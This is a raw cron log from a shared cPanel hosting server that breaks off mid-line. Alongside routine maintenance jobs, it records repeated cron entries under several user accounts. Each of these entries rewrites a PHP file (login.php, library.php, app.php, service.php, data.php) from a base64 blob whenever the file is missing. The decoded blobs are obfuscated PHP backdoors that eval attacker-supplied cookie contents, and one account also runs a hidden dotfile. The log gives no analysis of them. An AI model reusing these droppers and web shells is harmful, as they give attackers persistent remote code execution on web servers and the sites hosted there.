Jun  7 08:14:02 medusa CROND[6696]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:14:02 medusa CROND[6698]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:14:02 medusa CROND[6699]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:14:02 medusa CROND[6700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:14:02 medusa CROND[6701]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:14:02 medusa CROND[6708]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:14:02 medusa CROND[6709]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:14:02 medusa CROND[6710]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:14:02 medusa CROND[6711]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:15:01 medusa CROND[8348]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:15:02 medusa CROND[8357]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:15:02 medusa CROND[8361]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:15:02 medusa CROND[8362]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:15:02 medusa CROND[8363]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:15:02 medusa CROND[8367]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 08:15:02 medusa CROND[8365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:15:02 medusa CROND[8369]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:15:02 medusa CROND[8370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:15:02 medusa CROND[8364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:15:02 medusa CROND[8366]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:15:02 medusa CROND[8372]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:15:02 medusa CROND[8378]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:15:02 medusa CROND[8368]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:15:02 medusa CROND[8386]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:15:02 medusa CROND[8387]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:15:02 medusa CROND[8389]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:15:02 medusa CROND[8390]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:15:02 medusa CROND[8391]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:15:02 medusa CROND[8371]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:15:02 medusa CROND[8392]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:15:02 medusa CROND[8388]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Jun  7 08:15:02 medusa CROND[8385]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:15:02 medusa CROND[8393]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:16:01 medusa CROND[10040]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:16:02 medusa CROND[10084]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:16:02 medusa CROND[10086]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:16:02 medusa CROND[10085]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:16:02 medusa CROND[10087]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:16:02 medusa CROND[10088]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:16:02 medusa CROND[10089]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAg